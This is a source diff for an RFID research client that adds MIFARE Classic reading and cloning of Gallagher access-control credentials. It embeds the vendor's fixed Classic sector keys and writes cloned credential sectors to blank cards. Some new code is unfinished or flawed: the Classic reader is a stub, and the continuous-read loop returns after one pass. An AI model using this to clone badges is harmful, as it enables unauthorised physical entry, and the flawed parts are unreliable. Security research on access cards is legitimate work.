"Card UID must be set in DesfireContext (required for key div)"); @@ -571,39 +579,39 @@ static int hfgal_create_cad(DesfireContext_t *ctx, uint8_t *key, uint8_t ks2 = (DesfireKeyAlgoToType(app_algo) << 6) | num_keys;; uint8_t data[5] = {0}; - DesfireAIDUintToByte(CAD_AID, &data[0]); + DesfireAIDUintToByte(DESFIRE_CAD_AID, &data[0]); data[3] = ks1; data[4] = ks2; DesfireSetCommMode(ctx, DCMMACed); res = DesfireCreateApplication(ctx, data, ARRAYLEN(data)); - PM3_RET_IF_ERR_WITH_MSG(res, "Failed creating Card Application Directory (AID " _YELLOW_("%06X")"). Does it already exist?", CAD_AID); + PM3_RET_IF_ERR_WITH_MSG(res, "Failed creating Card Application Directory (AID " _YELLOW_("%06X")"). Does it already exist?", DESFIRE_CAD_AID); if (verbose) { PrintAndLogEx(INFO, "Created Card Application Directory (AID " _YELLOW_("%06X") ", empty contents & blank keys)", - CAD_AID + DESFIRE_CAD_AID ); } // Select application & authenticate uint8_t blank_key[DESFIRE_MAX_KEY_SIZE] = {0}; - res = select_aid_and_auth_with_key(ctx, CAD_AID, blank_key, 0, false, verbose); + res = select_aid_and_auth_with_key(ctx, DESFIRE_CAD_AID, blank_key, 0, false, verbose); PM3_RET_IF_ERR(res); uint8_t buf[CRYPTO_AES128_KEY_SIZE] = {0}; if (should_diversify) { // Diversify key - res = hfgal_diversify_key(key, ctx->uid, ctx->uidlen, 0, CAD_AID, buf); - PM3_RET_IF_ERR_WITH_MSG(res, "Failed diversifying key 0 for AID %06X", CAD_AID); + res = hfgal_diversify_desfire_key(key, ctx->uid, ctx->uidlen, 0, DESFIRE_CAD_AID, buf); + PM3_RET_IF_ERR_WITH_MSG(res, "Failed diversifying key 0 for AID %06X", DESFIRE_CAD_AID); PrintAndLogEx(INFO, "Diversified key " _YELLOW_("0") " for CAD (AID " _YELLOW_("%06X") "): " _GREEN_("%s"), - CAD_AID, + DESFIRE_CAD_AID, sprint_hex_inrow(buf, ARRAYLEN(buf)) ); key = buf; } else if (verbose) { PrintAndLogEx(INFO, "Using provided key " _YELLOW_("0") " for CAD (AID " _YELLOW_("%06X") "): " _GREEN_("%s"), - CAD_AID, + DESFIRE_CAD_AID, sprint_hex_inrow(key, CRYPTO_AES128_KEY_SIZE) ); } @@ -617,7 +625,7 @@ static int hfgal_create_cad(DesfireContext_t *ctx, uint8_t *key, PrintAndLogEx(INFO, "Successfully set key " _YELLOW_("0") " for CAD"); } - PrintAndLogEx(INFO, "Successfully created Card Application Directory (AID " _YELLOW_("%06X") ")", CAD_AID); + PrintAndLogEx(INFO, "Successfully created Card Application Directory (AID " _YELLOW_("%06X") ")", DESFIRE_CAD_AID); return PM3_SUCCESS; } @@ -634,12 +642,12 @@ static int hfgal_add_aid_to_cad(DesfireContext_t *ctx, uint8_t *key, bool should // Check if CAD exists uint8_t cad[36 * 3] = {0}; uint8_t num_entries = 0; - if (aid_exists(ctx, CAD_AID, false)) { + if (aid_exists(ctx, DESFIRE_CAD_AID, false)) { if (verbose) { PrintAndLogEx(INFO, "Card Application Directory exists, reading entries..."); } - int res = hfgal_read_cad(ctx, cad, ARRAYLEN(cad), &num_entries, verbose); + int res = hfgal_read_desfire_cad(ctx, cad, ARRAYLEN(cad), &num_entries, verbose); PM3_RET_IF_ERR(res); // Check that there is space for the new entry @@ -653,7 +661,7 @@ static int hfgal_add_aid_to_cad(DesfireContext_t *ctx, uint8_t *key, bool should PrintAndLogEx(INFO, "Card Application Directory does not exist, creating it now..."); } - int res = hfgal_create_cad(ctx, key, should_diversify, verbose); + int res = hfgal_create_desfire_cad(ctx, key, should_diversify, verbose); PM3_RET_IF_ERR(res); } @@ -686,7 +694,7 @@ static int hfgal_add_aid_to_cad(DesfireContext_t *ctx, uint8_t *key, bool should } // Select application & authenticate - int res = select_aid_and_auth_with_key(ctx, CAD_AID, key, 0, should_diversify, verbose); + int res = select_aid_and_auth_with_key(ctx, DESFIRE_CAD_AID, key, 0, should_diversify, verbose); PM3_RET_IF_ERR(res); // Create file if necessary @@ -710,7 +718,7 @@ static int hfgal_add_aid_to_cad(DesfireContext_t *ctx, uint8_t *key, bool should // Create file res = DesfireCreateFile(ctx, file_type, data, ARRAYLEN(data), false); - PM3_RET_IF_ERR_WITH_MSG(res, "Failed creating file %d in CAD (AID %06X)", file_id, CAD_AID); + PM3_RET_IF_ERR_WITH_MSG(res, "Failed creating file %d in CAD (AID %06X)", file_id, DESFIRE_CAD_AID); if (verbose) { PrintAndLogEx(INFO, "Created file " _YELLOW_("%d") " in CAD (empty contents)", file_id); @@ -722,7 +730,7 @@ static int hfgal_add_aid_to_cad(DesfireContext_t *ctx, uint8_t *key, bool should // Write file res = DesfireWriteFile(ctx, file_id, entry_num * 6, 6, entry); } - PM3_RET_IF_ERR_WITH_MSG(res, "Failed writing data to file %d in CAD AID %06X)", file_id, CAD_AID); + PM3_RET_IF_ERR_WITH_MSG(res, "Failed writing data to file %d in CAD AID %06X)", file_id, DESFIRE_CAD_AID); PrintAndLogEx(INFO, "Successfully added new entry for " _YELLOW_("%06X") " to the Card Application Directory", aid); return PM3_SUCCESS; @@ -740,7 +748,7 @@ static int hfgal_remove_aid_from_cad(DesfireContext_t *ctx, uint8_t *key, // Read CAD uint8_t cad[36 * 3] = {0}; uint8_t num_entries = 0; - int res = hfgal_read_cad(ctx, cad, ARRAYLEN(cad), &num_entries, verbose); + int res = hfgal_read_desfire_cad(ctx, cad, ARRAYLEN(cad), &num_entries, verbose); PM3_RET_IF_ERR(res); // Check if facility already exists in CAD @@ -763,7 +771,7 @@ static int hfgal_remove_aid_from_cad(DesfireContext_t *ctx, uint8_t *key, memset(&cad[ARRAYLEN(cad) - 6], 0, 6); // Select application & authenticate - res = select_aid_and_auth_with_key(ctx, CAD_AID, key, 0, should_diversify, verbose); + res = select_aid_and_auth_with_key(ctx, DESFIRE_CAD_AID, key, 0, should_diversify, verbose); PM3_RET_IF_ERR(res); // Determine what files we need to update @@ -774,7 +782,7 @@ static int hfgal_remove_aid_from_cad(DesfireContext_t *ctx, uint8_t *key, for (uint8_t file_id = file_id_start; file_id <= file_id_stop - delete_last_file; file_id++) { // Write file res = DesfireWriteFile(ctx, file_id, 0, 36, &cad[file_id * 36]); - PM3_RET_IF_ERR_WITH_MSG(res, "Failed writing data to file %d in CAD (AID %06X)", file_id, CAD_AID); + PM3_RET_IF_ERR_WITH_MSG(res, "Failed writing data to file %d in CAD (AID %06X)", file_id, DESFIRE_CAD_AID); if (verbose) { PrintAndLogEx(INFO, "Updated file " _YELLOW_("%d") " in CAD", file_id); @@ -787,12 +795,12 @@ static int hfgal_remove_aid_from_cad(DesfireContext_t *ctx, uint8_t *key, DesfireSetCommMode(ctx, DCMMACed); res = DesfireDeleteFile(ctx, file_id); - PM3_RET_IF_ERR_WITH_MSG(res, "Failed deleting file %d from CAD (AID %06X)", file_id, CAD_AID); + PM3_RET_IF_ERR_WITH_MSG(res, "Failed deleting file %d from CAD (AID %06X)", file_id, DESFIRE_CAD_AID); if (verbose) { PrintAndLogEx(INFO, "Deleted unnecessary file " _YELLOW_("%d") " from CAD (AID " _YELLOW_("%06X")")", file_id, - CAD_AID + DESFIRE_CAD_AID ); } } @@ -801,6 +809,7 @@ static int hfgal_remove_aid_from_cad(DesfireContext_t *ctx, uint8_t *key, return PM3_SUCCESS; } + /** * @brief Read credentials from a Gallagher card. * @@ -810,7 +819,7 @@ static int hfgal_remove_aid_from_cad(DesfireContext_t *ctx, uint8_t *key, * @param quiet Suppress error messages. Used when in continuous reader mode. */ // iceman, verbose and quiet... one should be enough. -static int hfgal_read_card(uint32_t aid, uint8_t *site_key, bool verbose, bool quiet) { +static int hfgal_read_desfire_card(uint32_t aid, uint8_t *site_key, bool verbose, bool quiet) { DropField(); clearCommandBuffer(); @@ -829,7 +838,7 @@ static int hfgal_read_card(uint32_t aid, uint8_t *site_key, bool verbose, bool q cad_aid_uint_to_byte(aid, &cad[3]); num_entries = 1; } else { - res = hfgal_read_cad(&dctx, cad, ARRAYLEN(cad), &num_entries, verbose); + res = hfgal_read_desfire_cad(&dctx, cad, ARRAYLEN(cad), &num_entries, verbose); PM3_RET_IF_ERR_MAYBE_MSG(res, !quiet, "Failed reading Card Application Directory"); } @@ -866,7 +875,7 @@ static int hfgal_read_card(uint32_t aid, uint8_t *site_key, bool verbose, bool q ", card number: " _GREEN_("%u") ", issue level: " _GREEN_("%u"), current_aid, - 'A' + creds.region_code, + 'A' + creds.region_code, creds.region_code, creds.facility_code, creds.card_number, @@ -876,13 +885,345 @@ static int hfgal_read_card(uint32_t aid, uint8_t *site_key, bool verbose, bool q return PM3_SUCCESS; } + +// Gallagher MIFARE Classic fixed keys +static const uint8_t GALLAGHER_MFC_KEY_A[MIFARE_KEY_SIZE] = {0x16, 0x0A, 0x91, 0xD2, 0x9A, 0x9C}; +static const uint8_t GALLAGHER_MFC_KEY_B[MIFARE_KEY_SIZE] = {0xB7, 0xBF, 0x0C, 0x13, 0x06, 0x6E}; + +// Gallagher MIFARE Classic access bits: 0x787788 +static const uint8_t GALLAGHER_ACCESS_BITS[3] = {0x78, 0x77, 0x88}; + +// "www.cardax.com " string for block 1 +static const uint8_t CARDAX_STRING[MFBLOCK_SIZE] = { + 0x77, 0x77, 0x77, 0x2E, 0x63, 0x61, 0x72, 0x64, + 0x61, 0x78, 0x2E, 0x63, 0x6F, 0x6D, 0x20, 0x20 +}; + +/** + * @brief Write a Gallagher site-specific sector to a MIFARE Classic card. + * + * Writes blocks 0-2 of the sector using Key B (which has write access). + * Block 0: encoded credentials + bitwise inverse + * Block 1: "www.cardax.com " + * Block 2: MES block (if enabled) or zeroes + * Block 3: sector trailer with Gallagher keys and access bits + * + * @param sector_num Sector number to write. + * @param creds Gallagher cardholder credentials. + * @param write_key Key to authenticate with for writing (6 bytes). + * @param write_key_type Key type (MF_KEY_A or MF_KEY_B). + * @param verbose Verbose output. + * @return PM3_SUCCESS on success. + */ +static int hfgal_write_site_specific_sector(uint8_t sector_num, GallagherCredentials_t *creds, + const uint8_t *write_key, uint8_t write_key_type, + bool verbose) { + if (mfNumBlocksPerSector(sector_num) > 4) { + PrintAndLogEx(ERR, "Only 4-block sectors are supported (sectors 0-31)"); + return PM3_ENOTIMPL; + } + + uint8_t sector_data[4 * MFBLOCK_SIZE]; + memset(sector_data, 0, sizeof(sector_data)); + + // Block 0: encoded credential (8 bytes) + bitwise inverse (8 bytes) + uint8_t *block0 = §or_data[0]; + gallagher_encode_creds(block0, creds); + for (int i = 0; i < 8; i++) { + block0[i + 8] = block0[i] ^ 0xFF; + } + + // Block 1: "www.cardax.com " + memcpy(§or_data[MFBLOCK_SIZE], CARDAX_STRING, MFBLOCK_SIZE); + + // Block 2: MES block (if enabled) or zeroes + if (creds->mes) { + int res = gallagher_encode_mes(§or_data[2 * MFBLOCK_SIZE], creds); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to encode MES block"); + return res; + } + } + + // Block 3: sector trailer + uint8_t *trailer = §or_data[3 * MFBLOCK_SIZE]; + memcpy(trailer, GALLAGHER_MFC_KEY_A, MIFARE_KEY_SIZE); + memcpy(trailer + 6, GALLAGHER_ACCESS_BITS, 3); + trailer[9] = creds->mes ? 0x1D : 0xC1; // user byte + memcpy(trailer + 10, GALLAGHER_MFC_KEY_B, MIFARE_KEY_SIZE); + + // Write blocks 0-2 (data blocks) using the provided key + uint8_t first_block = mfFirstBlockOfSector(sector_num); + for (int i = 0; i < 3; i++) { + int res = mf_write_block(first_block + i, write_key_type, write_key, §or_data[i * MFBLOCK_SIZE]); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed writing block %d (sector %d, block %d)", first_block + i, sector_num, i); + return res; + } + } + + // Write block 3 (sector trailer) to set keys and access bits + int res = mf_write_block(first_block + 3, write_key_type, write_key, trailer); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed writing sector trailer (sector %d)", sector_num); + return res; + } + + if (verbose) { + PrintAndLogEx(SUCCESS, "Wrote Gallagher credentials to sector " _YELLOW_("%d"), sector_num); + } + return PM3_SUCCESS; +} + +/** + * @brief Update the MAD sector 0 to register Gallagher AIDs. + * + * Reads the existing MAD, sets AID entries for the credential and + * optionally CAD sectors, recalculates the CRC, and writes it back. + * + * @param cred_sector Sector number for the credential data (AID 0x4812). + * @param cad_sector Sector number for the CAD, or 0 to skip. + * @param mad_key Key B for MAD sector 0 (6 bytes). + * @param mad_key_type Key type for MAD sector 0. + * @param verbose Verbose output. + * @return PM3_SUCCESS on success. + */ +static int hfgal_update_mad(uint8_t cred_sector, uint8_t cad_sector, + const uint8_t *mad_key, uint8_t mad_key_type, + bool verbose) { + // Read current MAD (sector 0) + uint8_t sector0[4 * MFBLOCK_SIZE] = {0}; + int res = mf_read_sector(0, mad_key_type, mad_key, sector0); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed reading MAD sector 0"); + return res; + } + + // Set AID for credential sector (0x4812) + if (cred_sector >= 1 && cred_sector <= 15) { + sector0[16 + 2 + (cred_sector - 1) * 2] = CLASSIC_CRED_AID & 0xFF; + sector0[16 + 2 + (cred_sector - 1) * 2 + 1] = (CLASSIC_CRED_AID >> 8) & 0xFF; + } + + // Set AID for CAD sector (0x4811) + if (cad_sector >= 1 && cad_sector <= 15) { + sector0[16 + 2 + (cad_sector - 1) * 2] = CLASSIC_CAD_AID & 0xFF; + sector0[16 + 2 + (cad_sector - 1) * 2 + 1] = (CLASSIC_CAD_AID >> 8) & 0xFF; + } + + // Recalculate CRC over bytes 17..47 (info byte + 15 AID entries) + sector0[16] = CRC8Mad(§or0[16 + 1], 15 + 16); + + // Write blocks 1 and 2 of sector 0 back (block 0 is manufacturer block, don't touch) + res = mf_write_block(1, mad_key_type, mad_key, §or0[MFBLOCK_SIZE]); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed writing MAD block 1"); + return res; + } + + res = mf_write_block(2, mad_key_type, mad_key, §or0[2 * MFBLOCK_SIZE]); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed writing MAD block 2"); + return res; + } + + if (verbose) { + PrintAndLogEx(SUCCESS, "Updated MAD sector 0"); + } + return PM3_SUCCESS; +} + +/** + * @brief Write Gallagher credentials to a MIFARE Classic card. + * + * @param creds Gallagher cardholder credentials (with csn, site_key populated). + * @param cred_sector Sector to write credentials to. + * @param cad_sector Sector for CAD (0 to skip CAD update). + * @param update_mad Whether to update MAD sector 0. + * @param verbose Verbose output. + * @return PM3_SUCCESS on success. + */ +static int hfgal_write_classic_card(GallagherCredentials_t *creds, uint8_t cred_sector, + uint8_t cad_sector, bool update_mad, bool verbose) { + clearCommandBuffer(); + + // Select card to get UID + SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT, 0, 0, NULL, 0); + PacketResponseNG resp; + if (WaitForResponseTimeout(CMD_ACK, &resp, 2500) == false) { + PrintAndLogEx(ERR, "Card select timeout"); + return PM3_ETIMEOUT; + } + + iso14a_card_select_t card; + memcpy(&card, (iso14a_card_select_t *)resp.data.asBytes, sizeof(iso14a_card_select_t)); + + uint64_t select_status = resp.oldarg[0]; + if (select_status == 0) { + PrintAndLogEx(ERR, "Card select failed"); + return PM3_EFAILED; + } + + DropField(); + + // Populate CSN in credentials + memcpy(creds->csn, card.uid, card.uidlen); + creds->csn_len = card.uidlen; + + if (verbose) { + PrintAndLogEx(INFO, "Card UID: %s", sprint_hex(card.uid, card.uidlen)); + } + + // For a fresh sector, try writing with the default Key B first (blank card), + // then try Gallagher Key B (already-formatted card) + static const uint8_t default_key[MIFARE_KEY_SIZE] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; + + int res = hfgal_write_site_specific_sector(cred_sector, creds, GALLAGHER_MFC_KEY_B, MF_KEY_B, verbose); + if (res != PM3_SUCCESS) { + if (verbose) { + PrintAndLogEx(INFO, "Gallagher Key B failed, trying default key..."); + } + res = hfgal_write_site_specific_sector(cred_sector, creds, default_key, MF_KEY_B, verbose); + if (res != PM3_SUCCESS) { + res = hfgal_write_site_specific_sector(cred_sector, creds, default_key, MF_KEY_A, verbose); + } + } + + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed writing credential sector %d", cred_sector); + return res; + } + + // Update MAD if requested + if (update_mad) { + // Try MAD Key B first, then default key + static const uint8_t mad_default_b[MIFARE_KEY_SIZE] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; + res = hfgal_update_mad(cred_sector, cad_sector, g_mifare_mad_key_b, MF_KEY_B, verbose); + if (res != PM3_SUCCESS) { + if (verbose) { + PrintAndLogEx(INFO, "MAD Key B failed, trying default key..."); + } + res = hfgal_update_mad(cred_sector, cad_sector, mad_default_b, MF_KEY_B, verbose); + if (res != PM3_SUCCESS) { + res = hfgal_update_mad(cred_sector, cad_sector, mad_default_b, MF_KEY_A, verbose); + } + } + if (res != PM3_SUCCESS) { + PrintAndLogEx(WARNING, "Failed updating MAD - credentials were written but MAD was not updated"); + } + } + + return PM3_SUCCESS; +} + +static int hfgal_read_site_specific_sector(uint8_t sector_num, GallagherCredentials_t cred, uint8_t *csn, uint8_t *diversified_site_key, bool verbose) { + uint8_t keyA[16] = {0x16, 0x0A, 0x91, 0xD2, 0x9A, 0x9C}; + // uint8_t keyB[16] = {0xB7,0xBF,0x0C,0x13,0x06,0x6E}; + + + uint8_t cardax_string[16] = {0x77, 0x77, 0x77, 0x2E, 0x63, 0x61, 0x72, 0x64, 0x61, 0x78, 0x2E, 0x63, 0x6F, 0x6D, 0x20, 0x20}; + uint8_t data[4 * MFBLOCK_SIZE] = {0}; + uint8_t *block0 = &data[0]; + uint8_t *block1 = &data[16]; + uint8_t *block2 = &data[32]; + uint8_t *block3 = &data[48]; + + if (mfNumBlocksPerSector(sector_num) > 4) { + return PM3_ENOTIMPL; + } + + GallagherCredentials_t MES_cred = {0}; + int res = mf_read_sector(sector_num * 4, 0, keyA, data); + if (res != PM3_SUCCESS) { + return res; + } + // check if block1 is an ascii string containing "www.cardax.com " + if (memcmp(block1, cardax_string, 16) != 0) { + if (verbose) { + PrintAndLogEx(FAILED, "Sector %d does not contain a Gallagher Site Key block", sector_num); + } + return PM3_ENODATA; + } + + gallagher_decode_creds(block0, &cred); + if (verbose) { + print_gallagher_creds(&cred); + } + + if (block3[9] == 0x1D) { + if (verbose) { + PrintAndLogEx(INFO, "Sector %d contains a MIFARE Enhanced Security block", sector_num); + } + if (csn != NULL && diversified_site_key != NULL) { + gallagher_decode_mes(block2, &MES_cred); + if (cred.card_number == MES_cred.card_number && + cred.facility_code == MES_cred.facility_code && + cred.issue_level == MES_cred.issue_level && + cred.region_code == MES_cred.region_code) { + PrintAndLogEx(INFO, "MIFARE Enhanced Security block matches Site Specific block\nSite Key is correct"); + } + } else { + PrintAndLogEx(INFO, "No Site Key or CSN provided, cannot verify MIFARE Enhanced Security block"); + } + } else { + PrintAndLogEx(INFO, "Sector %d does not contain a MIFARE Enhanced Security block", sector_num); + } + return PM3_SUCCESS; +} + +static int hfgal_read_classic_card(uint8_t *site_key, bool verbose, bool quiet) { + DropField(); + clearCommandBuffer(); + GallagherCredentials_t creds = {0}; + + // Select card + SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT, 0, 0, NULL, 0); + PacketResponseNG resp; + if (WaitForResponseTimeout(CMD_ACK, &resp, 2500) == false) { + PrintAndLogEx(DEBUG, "iso14443a card select timeout"); + return 0; + } + + iso14a_card_select_t card; + memcpy(&card, (iso14a_card_select_t *)resp.data.asBytes, sizeof(iso14a_card_select_t)); + + /* + 0: couldn't read + 1: OK, with ATS + 2: OK, no ATS + 3: proprietary Anticollision + */ + uint64_t select_status = resp.oldarg[0]; + + if (select_status == 0) { + PrintAndLogEx(DEBUG, "iso14443a card select failed"); + return select_status; + } + + // card.uid, card.uidlen + + // Read MAD + + // Read CAD + + // Check credential count + + // Read credentials + for (uint8_t i = 0; i < MIFARE_1K_MAXSECTOR; i++) { + hfgal_read_site_specific_sector(i, creds, card.uid, site_key, true); + } + return PM3_ENOTIMPL; +} + static int CmdGallagherReader(const char *cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf gallagher reader", - "Read a Gallagher DESFire tag from the Card Application Directory, CAD\n" + "Read a Gallagher tag from the Card Application Directory, CAD\n" "Specify site key is required if using non-default key\n", - "hf gallagher reader -@ -> continuous reader mode\n" - "hf gallagher reader --aid 2081f4 --sitekey 00112233445566778899aabbccddeeff -> skip CAD\n" + "hf gallagher reader -@ -> DESFIRE(default): continuous reader mode\n" + "hf gallagher reader -c -@ -> CLASSIC: continuous reader mode\n" + "hf gallagher reader --aid 2081f4 --sitekey 00112233445566778899aabbccddeeff -> DESFIRE: skip CAD\n" + "" ); void *argtable[] = { @@ -892,6 +1233,7 @@ static int CmdGallagherReader(const char *cmd) { arg_lit0("@", "continuous", "Continuous reader mode"), arg_lit0(NULL, "apdu", "Show APDU requests and responses"), arg_lit0("v", "verbose", "Verbose output"), + arg_lit0("c", "classic", "Read Gallagher mifare Classic card"), arg_param_end }; CLIExecWithReturn(ctx, cmd, argtable, true); @@ -917,17 +1259,30 @@ static int CmdGallagherReader(const char *cmd) { bool continuous_mode = arg_get_lit(ctx, 3); SetAPDULogging(arg_get_lit(ctx, 4)); bool verbose = arg_get_lit(ctx, 5); + bool read_classic_card = arg_get_lit(ctx, 6); CLIParserFree(ctx); if (continuous_mode == false) { // Read single card - return hfgal_read_card(aid, site_key, verbose, false); + if (read_classic_card) { + // Read classic card + return hfgal_read_classic_card(site_key, verbose, false); + } else { + // Read DESFire card + return hfgal_read_desfire_card(aid, site_key, verbose, false); + } } // Loop until is pressed PrintAndLogEx(INFO, "Press " _GREEN_("") " to exit"); while (kbd_enter_pressed() == false) { - hfgal_read_card(aid, site_key, verbose, !verbose); + if (read_classic_card) { + // Read classic card + return hfgal_read_classic_card(site_key, verbose, !verbose); + } else { + // Read DESFire card + return hfgal_read_desfire_card(aid, site_key, verbose, !verbose); + } } return PM3_SUCCESS; } @@ -935,37 +1290,48 @@ static int CmdGallagherReader(const char *cmd) { static int CmdGallagherClone(const char *cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf gallagher clone", - "Clone Gallagher credentials to a writable DESFire card\n" + "Clone Gallagher credentials to a writable DESFire or MIFARE Classic card\n" + "Use -c for MIFARE Classic cards\n" "Specify site key is required if using non-default key\n" - "Key, lengths for the different crypto: \n" + "DESFire key lengths for the different crypto: \n" " DES 8 bytes\n" " 2TDEA or AES 16 bytes\n" " 3TDEA 24 bytes\n" "AID, default finds lowest available in range 0x??81F4, where ?? >= 0x20.", - "hf gallagher clone --rc 1 --fc 22 --cn 3333 --il 4 --sitekey 00112233445566778899aabbccddeeff" + "hf gallagher clone --rc 1 --fc 22 --cn 3333 --il 4 --sitekey 00112233445566778899aabbccddeeff\n" + "hf gallagher clone -c --rc 1 --fc 22 --cn 3333 --il 4\n" + "hf gallagher clone -c --rc 12 --fc 4919 --cn 61453 --il 1 --sector 15 --nomes\n" + "hf gallagher clone -c --rc 1 --fc 22 --cn 3333 --il 4 --nomad" ); void *argtable[] = { arg_param_begin, - arg_int0("n", "keynum", "", "PICC key number [default = 0]"), - arg_str0("t", "algo", "", "PICC crypt algo: DES, 2TDEA, 3TDEA, AES"), - arg_str0("k", "key", "", "Key for authentication to the PICC to create applications"), - arg_u64_1(NULL, "rc", "", "Region code. 4 bits max"), - arg_u64_1(NULL, "fc", "", "Facility code. 2 bytes max"), - arg_u64_1(NULL, "cn", "", "Card number. 3 bytes max"), - arg_u64_1(NULL, "il", "", "Issue level. 4 bits max"), - arg_str0(NULL, "aid", "", "Application ID to write (3 bytes) [default automatically chooses]"), - arg_str0(NULL, "sitekey", "", "Site key to compute diversified keys (16 bytes)"), - arg_str0(NULL, "cadkey", "", "Custom AES key 0 to modify the Card Application Directory (16 bytes)"), - arg_lit0(NULL, "nocadupdate", "Don't modify the Card Application Directory (only creates the app)"), - arg_lit0(NULL, "noappcreate", "Don't create the application (only modifies the CAD)"), - arg_lit0(NULL, "apdu", "Show APDU requests and responses"), - arg_lit0("v", "verbose", "Verbose output"), + arg_lit0("c", "classic", "Write to MIFARE Classic card instead of DESFire"), + arg_int0("n", "keynum", "", "DESFire: PICC key number [default = 0]"), + arg_str0("t", "algo", "", "DESFire: PICC crypt algo"), + arg_str0("k", "key", "", "DESFire: Key for authentication to the PICC"), + arg_u64_1(NULL, "rc", "", "Region code. 4 bits max"), + arg_u64_1(NULL, "fc", "", "Facility code. 2 bytes max"), + arg_u64_1(NULL, "cn", "", "Card number. 3 bytes max"), + arg_u64_1(NULL, "il", "", "Issue level. 4 bits max"), + arg_str0(NULL, "aid", "", "DESFire: Application ID to write (3 bytes) [default auto]"), + arg_str0(NULL, "sitekey", "", "Site key to compute diversified keys (16 bytes)"), + arg_str0(NULL, "cadkey", "", "DESFire: Custom AES key 0 for CAD (16 bytes)"), + arg_lit0(NULL, "nocadupdate", "DESFire: Don't modify the CAD (only creates the app)"), + arg_lit0(NULL, "noappcreate", "DESFire: Don't create the app (only modifies the CAD)"), + arg_lit0(NULL, "apdu", "Show APDU requests and responses"), + arg_lit0("v", "verbose", "Verbose output"), + arg_int0(NULL, "sector", "", "Classic: Sector number [default = 15]"), + arg_int0(NULL, "cadsector", "", "Classic: CAD sector number [default = 0, skip]"), + arg_lit0(NULL, "nomes", "Classic: Don't include MIFARE Enhanced Security block"), + arg_lit0(NULL, "nomad", "Classic: Don't update the MAD"), arg_param_end }; CLIExecWithReturn(ctx, cmd, argtable, false); uint8_t arg = 1; + bool classic_mode = arg_get_lit(ctx, arg++); + int picc_key_num = arg_get_int_def(ctx, arg++, 0); int picc_key_algo = T_DES; @@ -1023,12 +1389,47 @@ static int CmdGallagherClone(const char *cmd) { SetAPDULogging(arg_get_lit(ctx, arg++)); bool verbose = arg_get_lit(ctx, arg++); + + int cred_sector = arg_get_int_def(ctx, arg++, 15); + int cad_sector = arg_get_int_def(ctx, arg++, 0); + bool no_mes = arg_get_lit(ctx, arg++); + bool no_mad = arg_get_lit(ctx, arg++); + CLIParserFree(ctx); if (gallagher_is_valid_creds(region_code, facility_code, card_number, issue_level) == false) { return PM3_EINVARG; } + // --- MIFARE Classic path --- + if (classic_mode) { + if (cred_sector < 1 || cred_sector > 31) { + PM3_RET_ERR(PM3_EINVARG, "Sector must be between 1 and 31"); + } + if (cad_sector < 0 || cad_sector > 31) { + PM3_RET_ERR(PM3_EINVARG, "CAD sector must be between 0 and 31"); + } + + GallagherCredentials_t creds = { + .region_code = (uint8_t) region_code, + .facility_code = (uint16_t) facility_code, + .card_number = (uint32_t) card_number, + .issue_level = (uint8_t) issue_level, + .mes = !no_mes, + }; + memcpy(creds.site_key, site_key, 16); + + int res = hfgal_write_classic_card(&creds, (uint8_t) cred_sector, (uint8_t) cad_sector, !no_mad, verbose); + if (res != PM3_SUCCESS) { + return res; + } + + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf gallagher reader -c") "` to verify"); + return PM3_SUCCESS; + } + + // --- DESFire path --- GallagherCredentials_t creds = { .region_code = region_code, .facility_code = facility_code, @@ -1238,7 +1639,7 @@ static int CmdGallagherDiversify(const char *cmd) { // Diversify key uint8_t key[CRYPTO_AES128_KEY_SIZE] = {0}; - int res = hfgal_diversify_key(site_key, uid, uid_len, key_num, aid, key); + int res = hfgal_diversify_desfire_key(site_key, uid, uid_len, key_num, aid, key); PM3_RET_IF_ERR_WITH_MSG(res, "Failed diversifying key"); char *key_str = sprint_hex_inrow(key, ARRAYLEN(key)); @@ -1302,7 +1703,7 @@ static int CmdGallagherDecode(const char *cmd) { ", facility: " _GREEN_("%u") ", card number: " _GREEN_("%u") ", issue level: " _GREEN_("%u"), - 'A' + creds.region_code, + 'A' + creds.region_code, creds.region_code, creds.facility_code, creds.card_number, @@ -1357,15 +1758,35 @@ static int CmdGallagherEncode(const char *cmd) { return PM3_SUCCESS; } +static int CmdGallagherTest(const char *cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf gallagher test", + "Test the function of Gallagher Mifare Core\n" + "", + "hf gallagher test" + ); + + void *argtable[] = { + arg_param_begin, + arg_param_end + }; + CLIExecWithReturn(ctx, cmd, argtable, true); + CLIParserFree(ctx); + + + return (GallagherTest(false) ? PM3_SUCCESS : PM3_EFAILED); +} + static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, - {"reader", CmdGallagherReader, IfPm3Iso14443, "Read & decode all Gallagher credentials on a DESFire card"}, - {"clone", CmdGallagherClone, IfPm3Iso14443, "Add Gallagher credentials to a DESFire card"}, + {"reader", CmdGallagherReader, IfPm3Iso14443, "Read & decode all Gallagher credentials on a DESFire or Classic card"}, + {"clone", CmdGallagherClone, IfPm3Iso14443, "Clone Gallagher credentials to a DESFire or Classic card"}, {"delete", CmdGallagherDelete, IfPm3Iso14443, "Delete Gallagher credentials from a DESFire card"}, {"diversifykey", CmdGallagherDiversify, AlwaysAvailable, "Diversify Gallagher key"}, {"decode", CmdGallagherDecode, AlwaysAvailable, "Decode Gallagher credential block"}, {"encode", CmdGallagherEncode, AlwaysAvailable, "Encode Gallagher credential block"}, + {"test", CmdGallagherTest, AlwaysAvailable, "Test the function of Gallagher Mifare Core"}, {NULL, NULL, NULL, NULL} }; diff --git a/client/src/cmdhfgallagher.h b/client/src/cmdhfgallagher.h index c6e9a8fb3..c6ce04626 100644 --- a/client/src/cmdhfgallagher.h +++ b/client/src/cmdhfgallagher.h @@ -37,8 +37,8 @@ int 